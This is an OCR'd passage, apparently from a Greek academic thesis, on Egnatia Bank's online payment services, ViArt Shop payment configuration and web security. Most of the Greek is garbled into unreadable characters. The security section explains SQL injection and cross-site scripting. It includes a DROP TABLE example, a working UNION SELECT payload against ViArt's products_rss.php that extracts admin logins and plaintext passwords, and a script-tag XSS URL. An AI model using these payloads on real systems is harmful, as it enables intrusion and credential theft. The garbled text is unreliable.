OV  JPACTNPLOTOOVVTAL GTO YMOPO TOL OEAUOTOC YEVIKOTEPO, VO
dfétovv elo1TploL Yo EKONAMGELS KOl TOPOUCTAGELS TOVG HEC® TOV

OL0OKTVOV.

4.1 EgnatiaPayment

H vmnpecia egnatiaPayment amevfovetor povo ce vouikd mpocwmo(etarpieg) Ko

napéxel T dvvatotnTa o€ KB €Tapio Tov TNPel AOYOPLOAGUO OWEMG N TaLELTNPIOL

omv Eyvatia Tpdarela va diekmepoaimvel avtopata ) pcbodosio Tov Tpoc®TIKOV

™G N vo ekTeAel OmMOONTOTE GAAN €VTOAN TANPOUNG TPOG TPITOVG 7OV TNPOVV

Aoyaplacpote

otV tpdmela 1 o€ dAAeG TpATECEC TOV E0MTEPIKOD, LECH OLOOTKTVOV.
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Eniong, mpoceépel avtdpot ypémwon Loyaplooudv mov tpodviot evidg Tpdmelog
Kol ToTmon Aoyaplocpuol e eTopiog. Xvykekpiuéva 1 vanpecio egnatiaPayment
TPOCPEPEL:

e AvvatdtnTa Kotoymplong EVIOAOV TANpou®Y 24 dpeg 10 24wpo, 365
UEPEC TO YPOVO, OO OTOVONTOTE LIAPYEL GUVOESN OTO OdIKTLO YWPIG TN
TPOGEAEVOT GE Katdotna TG Tpamelas.

e Aocpdiewn oOVOEONG KOU  OMOCTOAMNG apyeiwv  &VIOADV HECH
SOIKTOOV, HE TANPN €AEYXO TNG OMOGTOANG KOL TOL TEPLEYOUEVOL TMOV
apyeiov and v dw v etarpio. H vanpecio mapéyet kpuntoypaenon tov
HETOPEPOUEVAV OEOOUEVOV 0O Kol TPog To server ¢ Eyvatiag Tpdmrelog pe
npwtékolo SSL 128bit. EmumAiéov, Aettovpyel kbt omd v “opmpéia”
EVIOLOG AOPAAELNG TOV OLOOIKTVOKADV EPOUPUOYDV TNG TPATECOS TOL TOPEYETOL
péow Tomv Kodtk®v PIN-TAN tov egnatiaTeller.

o [IpdoBetn aceareln TEPIEYOUEVOL TOV APYEIOV TANPOUDV, HECH TNG
E0IKNG YPappoypaenong tov header twv amooteAAOpEVOV apyEiwV.

e Auecommro evnuépwong g etoupiag-ypnotn. Eviog  pepikav
OEVTEPOAETTOV OO TNV KOTAYDPION TOV apyeiov TANpoUNG mopéyetal
evnUéP®ON NG eTopiog Yo OmMOONTOTE TPOPANaTH  ep@aviCovy ot
Aoyapraopol Tov dtkaovymv. Katd cvvénewo mapéyetar n dvvatdtta ot
etapio-ypnot. Agv omorteitor TAEOV TPOOKOUION amd TV €Toupio SIoKETAG
KOl EVTUTING EVIOANG TANPOUNG HE MoTa TV cBodoToVHEVOV GE KOTAGT O
™m¢ Eyvatiag Tpdmelag.

e EveMéio yprong, agold mapéyetor m ovvatotnta 010pbwone twv
EVIOADV TANPpOUNG Hécm online Oaypoapng TOV MG TPOC EKTEAECT TOV
EVIOAMV KOl OTTOGTOANG VEWV EVIOADV YMPIS VIOXPEWMTIKY TPOGEAELGT GE
KOTAGTNLLOL.

e FEvukoAla mapaxorlovOnong kot tpnong opyeiov mAnpopmnv. H
vimpecio egnatiaPayment moapéyst  dvvatdtTo €UPAvViong OA®V T®V
EVIOADV TIANPOUNG TOL Kotaywpndnkav oty vanpecsio amd v etoupio-
YPNOTN UE KATOAANAN XpOUATIKY EVOEIEN avdloya pe TNV Kotdotoon (status)

vAomoinomg Tovg.
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4.2 EgnatiaTeller

Méow g dwpedv vanpeoiag egnatiaTeller, o meAdng €xet Tig €€1g duvaTdTTES:

o  AvtOpOTN HETOPOPA YPNUATIKOV TOGMV GE AOYUPLUGHOVG TPITOV GE
GAAeg Tpamelec.

o [Dipoun acparotikov swoeop®v TEBE pe EvioAn ITAnpoung kot
avadBeon Apeong Xpéwong (Ildyia EvroAn).

e [Inpoun @.I1.A ko Epyodotikav Eicpopov [L.K.A.

o Il\mpoun Aroyopuwopov AEH, O.T.E, xwnmg xot otabepng
miepoviag(VODAFONE, MOBITEL, FORTHnet) pe EvtoAn [TAnpoung kot
avaBeon Apeonc Xpéwong (ITdyio EvroAn).

e  Metapopd YPNUATIK®OV TOCHV GE AOYOPLACUOVS TPITMV.

e Online wnpoun mototkig kdptag (EGNATIA VISA) «ot
dvvatdtTo TOpaKoAoHONoNG avoALTIKOV statement.

e Awayeipion AOyoplacU®V.

e  Ymolowma AOYOPLIGLOV.

o AvoAuTiKéEG KIVIGELG AOYOPLOCUMV.

e  Mini statement AoyoplacudV.

o Awyeipion mopopETp®V 0COAAELOC.

e Alayn PIN npdcfaonc.

e Aimon véag AMotog TAN.

e  Aumoeig yu tpoiovta g Eyvatiog Tpanelog.

e Aimon éxdoong PipAapiov emtaymv.

e Aimon evéyyvog mictmwong.

o Aimon ékdoomng eyYUNTIKNG EMGTOANG.

e  Evnuépwon v v KaTAGTACT EVIOANG TANP®UNG.

e [lapakorovOnomn tov WBIOTIKOV enttay®V TG Tpdmneloc, ot omoieg ivot
OLVOESEUEVEG LE TOVG TPATEIKOVS AOYOPLOCHOVG,.

o [Inpoun Terowv Kvkhopopiag kat AtdBeon Inudatwv.

e  Ymoloywopog IBAN Aoyapracpov.

o  Yuvarroypotwkég [ooTipiec.

e  Ymoloyiopdg 06cemv Aaveiov.

109



4.3 EgnatiaTrader ko1 webFunds

Méow tov vanpeowwyv egnatialrader ot webFunds, o meldtng €xel T €&Ng

dUVaATOTNTEC:

Anpovpyio TG TPOGMOMIKNG TOL GEAIDUS LLE EKOVIKA YOPTOPVAAKILOL.

On line omootoA evtoAwv  Limit, Market, pe  tun

Avotypatog/Kiewsipoatog, Stop Loss.

AxOpwon 1 LETAPOAT] TOV EVTOADV TOV TPV OVTEG EKTEAEGTOVV.

Anuovpyio  dwbéotuwv  mpog  déopevorn  eite  and  tpoamelko

hoyaplaouo gite and eEayopd Apoaiov Kepoaraiov (A/K).

On line amwooToA EVTIOAGV 0ryopdg Kot TwAnong A/K.
Awyeipion Aoyapracpov Margin kot [apaydywv.
Yvppetoyn o Anpooieg Eyypagpéc.

[TopakoAovOnon TV YOPTOPLAAKI®Y TOV.
[MopakorovBnon ™S ¥pNUOTIKNG TOVG BEomG.
Anpovpyia alerts Kot pnvopdtov.

Ipaonua Tnomv petoyng n deike.

4.4 WebShop ko egnatiaPrepay

Ot vnpecieg TPOSEEPOLY TN SVVATOTNTO OTIC EMXEPNOELS Vo TOAOVV on line

mpoidvta Kol vanpecieg pécw internet, AapPavoviag mv aéio Tov ayabov site pe

wpéwon mototkng kaptag(VISA, MASTERCARD), eite pe ypéwon xdaptog

TPOTANPOUEVOV ayopmdv egnatiaPrepay. Ot emyeipfioelg svnuepovovtot online yio

TNV KOTAGTOOT TOV GUVOAALNY®V TOL OlEVEPYOVVTAL LEGH TOV O1AIIKTVOV.

4.5 WebTicket

H vmnpecia mpocpépel 6e MYEPNOELS TOV JPACGTIPLOTOLOVVIOL GTO YDPO TOV

Bedpotoc, Tic €ENG dvvaTdTNTES:

Online moAnon ewounpiov Osapdtov, €ite pe ypnon TIGTOTIKNG

Képtoc, €ite pe ypEwoN KAPTAG TPOTANPOUEVOV QyopaV, €ite pe ypéwon

TPpame KOV AOYUPLUGLLOV.
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o  Koartoydpnon dwtifépevov mopactdcemy Kol TANPOPOPIOV QLTOV.
e Koartaympion avaAvTiKng KATOYNG TOL YOPOV TOVG.
e Emioyn dwbécipumv eilcttmpiov mpog TdOANGT and To d10diKTVO.

e  Online evnuépmon yia TIg TOANGELS ELGITNPIWV.

4.6 Acpaiera

H elocodoc oe OAeg 15 Internet epappoyég g Eyvatiog Tpanelag amattet t ypnon
KOOIKOV ac@aieiog (kmdtkd ovopa ypnotn kot PIN). 'Etor yuo v €icodo otnv
vanpecio egnatiaPayment, amouteiton ovopa ypnotn (user-id) kot Koowog aplOuog
acpoieiog (PIN), ou omoiot dnuovpyovvror ovtoépata amd 10 cvotnuo. o va
EKTEAEOTEL OMOLOONTOTE EVIOAN oTnV vrnpecio egnatiaPayment Bo wpénel emmiéov
va ypnowonoleiton évag and tovg apfuots emkdpwong cvvarrayns (TAN) mov
OMOGTEALETOL GTOVG TEANTEG LE TN HOPPT AIOTOG KOl 0O OOV YpMOLUoTolEiTOL KAOE
QOpA 0 TPAOTOG PN ypnoipomoovpevos. Mall pe v eyypaen otV vanpecia

egnatiaPayment o meldtng eyypdoetor avtopata kot 6to Web Teller.

Ov vmnpeoieg web g Eyvatiag Tpdamelag ypnowomowovv Ihictomomrikd
AvBevticomrag g VeriSign. ‘Etol eEacpaiiletal otov meldn 0Tt kaveic GALOG dev
umopei va mpoomomBel 0tL etvan n tpamelo Kot pe TOV TPOTO AVTOV Vo VITOKAEWEL

TOATIHEG TANPOoQOpieS (Yo Ttapdderypo To PIN tov mehd).

Tavtdypova ota cuotuate g Eyvatiog Tpanelag epapuolovion emmiéov pétpa
acQareiog OTWS:

e O oAyopiBuog IDEA 128bits mov ypnoiuomoteitor 7y TV
KPUTTOYPAQNON  UNVOUATOV 7OV  a@opovV TPamellkég GUVAALAYEG OTOV
“ra&1devovv”’ 6To internet.

e O rteppoticpdg G Aertovpyiog TG €QPAPHOYNS, OV OVTH  OF
ypnoporomet yio ypovikd draotnua 15 Aentov. ‘Etot, agevog dev umopel va
ypnoporombel amd GaAlo mpdswmo otV amovcio. Tov ££0VG1000TNUEVOD

xpHotn, oaeetépov  divel  ehdyoto  ypdvo Yy TV mpoomdbeln
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ATOKPLTTOYPAPNONG TOL UNVOUATOG, KOOADG OTNV  EMOUEVN  OVTUAAOYY

unvopatog To KAWL Ba etvat dtopopeTiko.

5. Yvotnuo TANpOUNS Yopls TN YPNoN EEMTEPIKOV
CUGTNUATOV TANPOM)S, TPUTELDV KUl TICTOTIKOV KUPTAOV.

Ymapyovv TEPWMTOGES OTIS OmMoieg Ol 1OOKTNTEG TOV KOTOoTAUOTOoS Oa
mpotiovoav va yewpilovror TANPOUES amd OTL va. XPNOIULOTOoVV Eva eEMTEPIKO
cvonua TAnpounc. Ot Adyor mepirapPdvovv ta akdiovba:

- £YOVE OMOPAGIGEL TOL LECH [LE TOL OTTOl0L BEAOVLLE VO YPEDCOVLE TOV TEAATT,

- Béhovpe 01 TEMATEG VOL TANPAOVOLY LE EMLTOYT 1] TOYVIPOLUKT dtoTayn,

- Bélovpe va YpNOIUOTOCOVLE TN HEBOOO TANPOUNG LETPNTA KOTA TNV TAPAOOCT

TV Tpoidviov (cash on delivery).

Xe oot TV mepinTmon avtd mov omotteital givon v PN TPOYHOTIKOD YpOVOL
OUOTNUO TANPOUNG TO 0010 EMTPEMEL VoL OEYETAL TOPAyYEALEG Ko va. xeipiletor OAa
T Ypatikd Bépata yepokivnta.

To ViArt Shop 10 gmitpénel avtd PHEG® TOL TPOSMOTIKOD GUOTHUATOS TANPOUNG
(Personal Payment System).

AxolovBovpe ™ dadpoun: Administration > Sales Orders > Payment Systems.

To Tp®dTO GVOTNUA TOL AVAYPAPETAL GTY AGTO EIVOL TO TPOGHOTKO.

H dwdwacia yio va puBuicovpe to TIpocommikd GOGTNUO TANPOUNG EIVOL GYEIOV 1|
010 Yo oot dNmoTe GAAO GUGTN AL

[Tepiéyet ta axolovba Priparo:

- Edit System

- Payment Details Page

- Final Checkout Page

oG elyape meprypayel otic mapoypdeovg 3.11, 3.12 xon 3.13.

H povn dwpopd pe 10 Tpocomikd cOGTNH TANPOUNG Elval Tl deV amatTovVTL

OMOlOONTOTE E10IKA  scripts Yy va amooteilovv 1 va AdPouvv dedopéva amod

oo dNToTE EEMTEPIKA GLGTNUATO TANPOUNG.
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Mopaxdto Bo meprypdyovpe tn Jwdkacio Yo v ONUIOVPYNCOLUE  Eva
e€e101KeEVUEVO TPOCOTIKO GVGTNO TANPOUNG TO 0oio Umopel vor SOVAEVEL e OAES
TIC KOAOVUEVEC KEVIPIKEG TOPAYYEAIEG YWPIG VO OTAITOUVTIOL Ol AETTOUEPELIES TV
TIGTOTIKOV KOPTAOV.

Ta Prpata stvor o €ng:

1. Oa donmovpyncovpe éva Kevo apyelo (LITOPOVUE VO, YPNCLUOTOUCOVUE TO
notepad ywo avtd) ko Ba To amobnkevoove w¢: ‘money_order.php’

2. 6o TomoBetncovpe 10 apyeio ‘money order.php’ oto ‘payments’ @AKEAO TOVL
NAEKTPOVIKOD LOG KOTOGTNLLOTOG

3. AxolovBolue tn OSwdpour): Administration > Orders > Payment System,
emA&yovpe Tpoowmikd cvotnua TAnpouns (Personal Payment system) kot kévovue
KAk oto ‘Edit System’ covoeso.

4. KaBopilovpe to apyeio ‘order confirmation.php’ oo URL minpopng

{2 ..:: Administration :: Payment Systems ::.. - Windows Internet Explorer

@“ o v | ] https: falexia-acer [ViArt_shopjadmin/acmin_payment_system,php7payment_id=1 I NIEES P~
Ameo  Encipyacia MpofoMy Ayamueva  Epyahda  Bodfiea

n ; - ; -
w o | @ .+ dminitration : Payment Systers 3. | | - B - & - [ ehive - ) Epyakea -

Products Orders CcMS Artidles Helpdesk Forum Manual Ayyehieg Site Users System

Administration > Payment Systems > Edit Payment System

General | Msers Tvpes

Is Active

Is Default [ f you use multiple payment systems you can make one of them selected by default)
Use for Call Center [ fonly Advanced system can be used for Call Center)

Payment System Name = [personal

User Payment System Name |

Processing Time {hours needed to processing the payment - used to estimate delivery date)

Payment Information
(shown for Users)

[An example of payment system that does not process payments automatically but
imay collect credit cards data for offiine charging.

Installation Motes

Payment URL = order_confirmation. phpl

Form Submit Method ®cer Orost

Eikbuac 3
[OAorhnpaBnKe & Local intranet * 100% -

Ewcovo 92: payment URL.

5. IImyoivoope oto tuiuo pe 115 e€edkevpéveg mapapétpovg (Advanced
Parameters Section), amevepyonotovpe v emhoyn ‘Is Advanced’ ko kaBopilovpe to
‘payments/money_order.php’ kot ota dvo media: ‘Advanced Library’ kot ‘Advanced

URL’
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Windows Internet Expl

@'C/ - |g hittps:/falexia-acer ViArt_shop/admin/admin_payment_system.php?payment _id=1 "\ E X ‘ | Gl
Apydo  EncEpyasia TpooMi Avamuéva  Epyodda  Borfiaa
o [g‘.::f-\dm\msh'auun::Paymentsystems::.‘ ]_} K- B - [ be - ) Epvahda -+
-~
Recurring options 1
Recurring Method &Not Allowed () Automaticaly areate order for next payment () Automatically create and bil recurring orders
Advanced Parameters
Is Advanced ]
Advanced Library [payments money_order.php (script file which handle transaction)
Advanced URL [nayments/money_order.pp|
Success Status
Pendng Status
Falure Status
On Falure Action 6o to the final step (O Redirect user back to the payment details page
Library to Capture Order [ (php library to capture previously autherized transaction)
Library to Refund Order [ (phplibrary to refund settied transaction)
Library to Cancel Order [ (phplibrary to cancel a transaction that has not yet settied)
Parameters List
# Parameter Name Parameter Type Parameter Source Not Passed Naypagr)
1 [order_id Varigble % [order_id O O
2 [ve Variable v [ve m| 0O
Khik 236 to see all available variables you can pass to payment system, Add more parameters?
[ mvovewon | [ maveopn ] [ A ]
f SiteHome ¢33 Administration Menu Products & Categories Sales f Orders Products Reviews Helpdesk
E
% Local intranet #100% -

Ewovo 93: ‘Advanced Library’ kou ‘Advanced URL’

6. Egtvliyovpe v 000vn 610 TAVD PEPOG TNG GEMOOG KOl OTEVEPYOTOLOVUE TNV
emaoyn ‘Use for Call Centre’
7. Amobnkedovpe T aAAayég matmvtag To kKovuni ‘Update’

8. TInyaivoupe oto Call Centre Orders kot oyedidlovpe o dokiun (test)

mapoyyerio.
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6. Tpotd onueio oTNV OGGPALELD TOV 1NAEKTPOVIKOV
KOTOOTHLATOV.

6.1 SQL Injection

Ye pla SQL injection eniBeomn, o emtiBépevog mpoomabdel va avaxtd, vo petafdiret
N vo dwaypaget dedopéva, va exterel SQL evtoréc, 1 va petafdAiret Tig pubuicelg tov
KeEVIPIKOU cvotnuotog. Katd ) didpkela g enifeong, 10 KEVTIPIKO cVGTNUO EYYEEL
havBaopéva dedopéva péow SQL evtormv. o mapdaderypa, o emtifépevog pmopel va
YPNOLOTOUCEL Lol OAAN A0V OO EPOTLOTO TPOS TO KEVIPIKO CVGTNUA £TCL DOTE
va guPdAlet pa akolovbio dtapuyne, n omola eival o GEPE Amd YOUPOKTNPES TOV
YPNOLOTOLOVVTOL Y10l VO TPOKOAAEGOVV EVTOAEG GTO KEVTIPIKO cvotna. To mopoakdTm
elvatl évoc ocvvnBiopévog tomog amd SQL gpotuota ota omoio n fdorn dedouévav
EPELVATOL Y10 TELATEG OV TOPLALOVY avAAoyo LE TN LETOPANTA OV TapEYETAL OO

70 YPNOTN.
SELECT * FROM customer WHERE name=" "+ strName + *;

To dropo to omoio €xel ypayel avth v aAiniovyia Oa eAnilel 6TL 0 ¥PNOTNG TNG
JIKTVOKNG ePapproyng Ba mapéyel to dvopa tov meEAdTN, T0 omoio Bo pmopovoe va
TPOKOAESEL TNV aAANAovyia va avalntd kdBe Eva meAdn pe avtd T0 dvoua. 26TOGO,
av o emrtifépevog yvopile mola Paon dedouévav €xel avalntmbel o propovoe va
E0AyEl oL YPOUUN OT®OG M akOAOLON, LE OmOTEAEGUO VO TPOoKaAovoe peilova

TPOPANLLOTAL.
Smith ‘; DROP TABLE customer

Ewsdyovtag avtiv v a&la yio ) petafAnt) strName, n arAniovyio yivetor wg

egng:

SELECT * FROM customer WHERE name="Smith’; DROP TABLE customer;”
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Avt) N aAiniovyio tdpa pmopel va kobiotator apketd HeYGAO TPOPANUA, 0POV
Ba avalntoel Toug meAdteg e To dGvopo Smith kot petd Bo eKTEAEGEL Lo EVTOAN Ko
va daypayet 1 Baon dedopévav tov merdtn. Otav dev emPePordveTon 1 elcaywyn
nov mopExetar and Tig SQL evtodéc, omowadnmote apluds amd TpofAUATO UTOPOVV
va TpokOyouv amd tétown emifeon. Ot embBéceig SQL Injection emrpémovv ooV
EMTIOEUEVO VO EKUETAAAEVETOL KOOWKOVG KOl Vo eKTEAEL PN €EOVLGLOOOTNUEVES
EVIOAEG 0TO KeVTIPIKO ovotnua. Eival onpoaviikd 6t oTidoNmote TEPAGEL TO KEVIPIKO
oLOTNHO VO EAEYXETAL KO VO, Elvat EE0VG1000TNUEVO £TGL OCTE TETOWO TPOPANLLATA VO

un Aappévovv yopa.

Ov embéoelg SQL Injection eivoar moAD cvvnOiopéveg yio to Adyo OTL KAOe
OIKTLOKT EQUPUOYT ¥PNOIOTOlEl pa Pdon OedOUEVOV Y1oL VO AmoONKELEL Ko Vo
avoktd oedopeva. Or embBéoelg avtég eivar mBavég dOTL Ol EQAPHOYES TLTIKA
¥pnoonoovy amlovotevpéves SQL  aAinAovyieg v va Katackgvdcovv SQL
EPMOTNHOTA, OALL OTTOTLYYEVOVY d1OPHDOVOLY E1GAYOUEVO dEGOUEVOL.

O pdévog 1pomoc Yo va amo@vyovpe to TpoPAnuata towv embBécewv SQL Injection
elvat va, amo@evyovLE VoL YPNOLULOTOOVUE OTAOEDELG oA ovyies ®¢ Evay TPOTO Vo
dnpovpyovue epmtnuata. Mo KoAVTEPN Kol AGQAAESTEPTN TPOCEYYIoN Elvarl va
YPNOLOTOOVUE £TOUEG ONAMOELS. L& OUTNV TNV TPOGEYYIOT, EVO TEPTYPOLLLLOL
epOTNHOTOS Tapaympeital otn Pdon dedopévov, akolovBoduevo amd doywpiopéva
dedopéva Tov ypnotn. H Pdaon dedopévev otn cuvéyela Bo KATOOKELAGEL TO TEAMKO

epompa, eEacparilovrag 0Tt kapio SQL Injection ¢ Ba AdPet yopa.

Expetarlevopevor tic advvapiec g SQL Injection oto 611 ypetaletal kémog 660
apopd 6To YEYOVOG OTL VITAPYOLV Thpa TOAAE cvothuato PBdoewv dedouévav, Kot
KéOe cvoTNUO VTOGTNPILEL SLUPOPETIKE YOPAKTNPIGTIKA KOl EAAPPDOS OLLPOPETIKN
ovvtaln v kdBe SQL epommua. O smtBépevog cvvnbog epydletar 610 va
avayvopicel tov TOmo amd T Pdon Oedouévev Kol apyOTEPE TPOYMPA CTNV
avalTnon g AEITOLPYIKOTNTOG Kol GTNV TPOCTAOELN VO, YPTCLLOTOMOEL KATL oo

oVTo.

Ot Bhoeig 0e0OUEVOV TEPIEXOLY EWIKA YOPUKTNPIOTIKA TOV KAvouv TN (on

dVOKOAN Y10 EKEIVOVE TOL TPOGTAOOVV V. TIC AGPAAIGOVV.
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e Mnopovpue ovvibmg va amapiBuodue tovg mivakeg ortn  Pdon
dedopévmv, kabmg kot To tedia Tov avaypdeovtal oe kdbe mivaka. Mropovue
VO OVOKTOOUE TIC £€vvoleg omd  OlOPOPETIKEG TOPAUETPOVS NG Pdong
dedopévav, HePIKEG amd TIG omoleg pmopel vo  TEPEYOLV  TOAVTUUES
TANPOQPOPiES.

o [loA\éc Pdoelg dedopuévav pmopobv va daPfdcovv Kol vo ypéyouvv
apyeio, cvvnBmg va ekTEAEGOVV gl0aym®YT Kot eEaymyn| dedopévav. Avtd tao
YOPOKTNPIOTIKA Hropohv va TpomBnBohv dGTE Vo 0modOCOoVY TO TEPLEYOUEVA
™m¢g Pdong odedopévev, To omoiol UTOPOLV Vo, TPoomeEAAcHOOV amd TOV
emTiBEpEVO. YyETIKEG TANPOPOpieg TEPLYPAPOVTOL G10:

http://www.dataloss.net/papers/how.defaced.apache.org.txt.

e O Microsoft SQL server 0¢tel oe Aertovpyia mepiocotepa ond 1,000
EVOOUATOUEVEG  amobnkevpuéveg  oadikacies. Mepwég amd  avtég
TPOYUOTOTOOVV CNUOVTIKEG AEITOVPYIEG OTMG Elval 1 EKTEAEGTN TOL KMOKQ
AELITOVPYIKAOV CLGTNUATOV, N €YYpaen epatnudtov SQL péoa oe apyeio, N
EKTEAECT] TANPOVG AVTILYPAQ®V NG PAong dedopévmy dlapuécon Tov internet
(oto onpelo emthoyng tov emtiBépevov). Ot amodnkevpéveg drodikacieg tvan
TO TPMTO YOPAKTNPIOTIKO GTO omoio o emitifépuevog Ba deiEel evdlapépov av

avakoivyet o SQL Injection tpwtdtta oe Eva Microsoft SQL server.

Inyég emBsoewv SQL Injection:

e “SQL Injection” by Kevin Spett (SPI Dynamics)
http://www.spidynamics.com/whitepapers/WhitepapersSQLInjection.pdf

e “Advanced SQL Injection in SQL Server Applications” by Chris Anley
(NGS) http://www.nextgenss.com/papers/advanced sql_injection.pdf

e “Hackproofing MySQL” by Chris Anley (NGS)
http://www.nextgenss.com/papers/HackproofingMySQL.pdf

e “LDAP Injection” by Sacha Faust (SPI Dynamics)
http://www.spidynamics.com/whitepapers/LDAPinjection.pdf

e “Blind XPath Injection” by Amit Klein (Sanctum)
http://www.sanctuminc.com/pdf/WhitePaper Blind_XPath_Injection.pdf

e “SQL Injection Signatures Evation” by Ofer Maor and Amichai Shulman
http://www.imperva.com/application_defense_center/white papers/sql_inj
ection_signatures_evation.html
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6.1.2 SQL Injection oto ViArt

http://www.milwOrm.com/exploits/6154

Ynrdpyer évag moAd vynAdc kivovvog oo SQL Injection embéoelc oto ViArt
NAEKTPOVIKO LOG KATAGTNLO, TOV EMITPENEL GTOV EMTIOEUEVO VO EKTEAEGEL avBaipeTa
epoTNHOTE pE oKOomd KaKOPovAeg amoutnoelc. O gumadng kddwog puropetl va Ppebel
oto "products rss.php". énw¢ @aivetar mapakdto n "$category id" petapfintn dev
elvarl moté EexdBopn péoa ota epoTAUATO, Kol 0VTE givor moTé Eexdbapn mpv omd

exetvo 1o onpeio.

If ($category_id == 0){
$sql = "SELECT category_id, friendly_url FROM
$table_prefix. "'"categories WHERE category_path like
"% _$category_id.",%" AND is showing = 1 ";

3} else {
$sql = "SELECT category_id, friendly url FROM». $table_prefix.

"'categories WHERE category path like "%,". $category_id.", %" AND is
showing = 1 ™

}

To mopamdve emupénel oe €vav emrtifépevo vo emdééel yoplc dvokoAia,
avBaipeta dedopéva amd ™ Pdon dedOUEVOV OTMOC OVOUATO, KMOKOVG KaBMG Kot

aplOLOVG TOTOTIKMV KAPTOV.

Eniong pa dtevbuvon dmwg:

/products_rss.php?category_id=1" UNION SELECT
concat(login,char(58),password),0 FROM va_admins -- /*

Oa pumopovce MTLYOS Vo GLAAEEEL TANpoYopies and Tig PAoelg dedopévav Tov
VAOTOOVVTOL OO TOVG SLOYEPIOTES Kol EMELTO. B0 TPOGTOONGEL VO YPTGLULOTOMGEL TO,
otoyyelo TV dayeplotdv o €va sql epdtnua. AkOpo, TO TIGTOTOWTIKG TOV
dwyeplotdv Ba emderyBovv 6to AaBog SQL ®¢ Tunpe TS EAATTOUATIKNG EPMTNONG
kol B eivonr opatd otov emmiBéuevo. A&iler emiong va onuewwBel 6t1 to ViArt

amofnkevel OA0 TO MGTOMOMTIKA 6T0 GaPEg kelpevo (plaintext), €tot POAG €vog
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EMTIOEUEVOG KOTEYEL TOL TMIOTOMOMTIKA £yl €yyvnuévn v mpdofacn Tov otV

EPAPUOYT.

6.2 Cross-Site Scripting

To Cross-Site Scripting (CSS) eivor n wkavot)to vo €6dyovtal KokoBovia
npoypappato (scripts) péco oe Odvvapikés totooeiides. To cevdpio avtd eival
HETAUPIEGHEVO G Yviold Ogdopéva, Omwg Yoo mopddstypo oydlo o€ GeAida
eEumnpétnong meraTdv Ko eEontiog TG KAvOTNTOG UETAUPIESNS TOVG EKTEAOVVTOL
nécm tov browser tov ¥pMotn. To amotéhespa evoeyouEvmg elval 1) 0EGUELON TNG TTLO
EUTIGTEVTIKNG TANPOPOPLOG 1 1| KOTAGTPOPT) TOV VIOAOYIGTH oL déyeTon enibeom. O
emtifépevog o pumopovse va ypnoiponomoet CSS yio va €16dyel KATOGTPOPIKA
scripts péco ot GEMOO TV OTOTEAEGUATOV TOL ONUIOVPYEITOL GYEOOV 0o
OTO1ECONTOTE 10TOGEMOEG.

Mépog tov mpofAnpatog eivar 0Tt 0tav €vag browser avoktd pio GeEAOa 1 omoia
TEPEYXEL KAKOPOVAO KOIKA, OV €YeL TN duvatodTNTO Vo EAEYYEL TNV a&lOTIGTION TOV
script, amAd wpoypotomolel o oavtopato EKTELEST TOoL script. Emedn to script eivon
exteléolo amevbeiog amd Tov VITOAOYIGTH TOV YPNOTN, WITOPEL VO TPOYPOUUOATICTEL
Vo KOVEL OTONTOTE G©TO GUGTNUO, YL TAPAOEYHO KAOT KOOWKOV Kol
EAvaPOpPUAPIGILO TOVL GKANPOV diGKOV.

Muw mBaviy Adon yoo v emtuyn amoeuyn pag CSS enifeong elvar or tedikol
YPNOTES VO ATEVEPYOTOLOVV TNV KOVOTNTA TV browser 660 a@opd Tn YA®ooo TV
scripts. Q0t660, T0 Kakd glvar 0Tl o1 mTePLocdTepeg Tomobecieg diktvov Paciloviot
oTO SCripts ywo vo SMUIOLPYAGOLV TO. YOPOKTNPLGTIKA 7OV Ol TEMKOL YPNOTES
npdkertan vo ypnowonomcovyv. H amevepyomoinon g yAOGGOG TV SCripts GTIG
tomobeciec OKTVOL TPOAAUPAvVEL TOVG YPNOTEG Omd TN dSvvaTOTNTO VO £YOLV
TPOCPACT GTO YOPUKTNPICTIKO TOV TOPEYOVTOL Omd T SCripts, OKOUO KOl OE

a&1omioteg dikTvaKéG Tonobesied.

Av n CSS enifeon eivon emroyne, o emriBépevoc Ba eréyyer tov HTML nnyaio
Koowa, tpocOétovrog HTML kot JavaScript kddwka Katd Bovinon.
Avt n eniBeon AapPavel yopa OTo To dEOOUEVE GTEAVOVTAL GE VAl SCTipt e TV

TOPAUETPO VO avtomokpiveTar Betikd. 'Evag TpOTOg yio va EKUETOAALELTOVUE LTIV
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NV TPOTOTNTA £Vl 0 YPNOTNG VA KAveEL ‘KAK™ o€ £va chVOESHO oL Vouilel OTL glvat
aBmog. O cHVOEGHOG OTN GLVEYELD LETAPEPEL TO YPNOTN GE 0L TPMTH GEAION, OALAL OL
mopdpetpotl Bo eumAovticovy 10 TEPIEXOUEVO NG GeAdNG He KakOBovAo @optio. g
OTOTEAEGUO, O KOKOPBOVLAOG KMOWOS Bo eKTEAEGTEL OTO AGQOAN TEPEXOUEVO TOL
browser.

YmoBétovtag 0Tt éva script mepiéyet o un ac@oir] aAiniovyio PHP kddwa 0nwg

N ak6Aovon:

<? Echo § REQUEST [“param”] 7>

Mmropei va tpocaptnBei o€ pio URL mapdpota pe v axodiovdn:

http://www.exmple.com/xss.php?param=<script>alert(document.location)</script>

H tehum oekida Ba mepiéyer tov JavaScript kdowa wov divetal g mapapeTpog
and to script. Avoiyovtog pio tétoln 6eMoa 1o amotédecpo Bo epeovioTel o€
avadvopevo mapdbvpo otnv 006vn pe dedopévo OTL dev NTOV AWTd TO OToio Elxe
OKOTO M TPMTOTLAN GeAlda. Avtd oamotelel o omdoelr Tov TL UTOPOVUE V.
YPNOLOTOU|COVLLE OV TO Script elval Tpwtd G€ cross-site scripting embéoers.

"Eva yapoktnpiotikd mopdostypo anotehel 1 dodikacio £yypaeng mov omotteitol
OTIG TEPIGGOTEPES OIKTLOKEG EPAPUOYES. AV M @Opua €yypapg eitvan gumadng, Ta
emrifépevo  dedopéva mhavov va mopapeivouv pévipo  oamobnkevpéva  kdmov,
kaBorov amiBavo otn Paon dedopévov. Kabe gopd mov yiveton o aitnon yw tnv
ELLPAVIOT TOV AETTOUEPELDV EYYPAPNG TOL EMTIOEUEVOL, T KAKOPBOVAO OEOOUEVA TTOV
napovstaloviol e pio oedMda Ba mpaypatoromcovy pa enibeon. Kot ovsiav, pio
aitmon mov tomofeteitol  MPOGEKTIKA pmopel Vo amoTeAéoel  e€mBEGES TOL
TPAYLATOTOLOVVTOL EVAVTIOV TOALDY YPNOTOV GE U0 POPAL.

O1 emBéoeig CSS pmopel va €xovv pa amod Tig akOA0VOES GUVERELEG:

e Eamdtnon,

o ZVALOYN amd TPOCWOTIKES TANPOPOPIES TOV XPNOTN,

o E&aopaiion 16600V o€ amayopeLIEVES OIKTVAKESG TOTOOEG1EC,
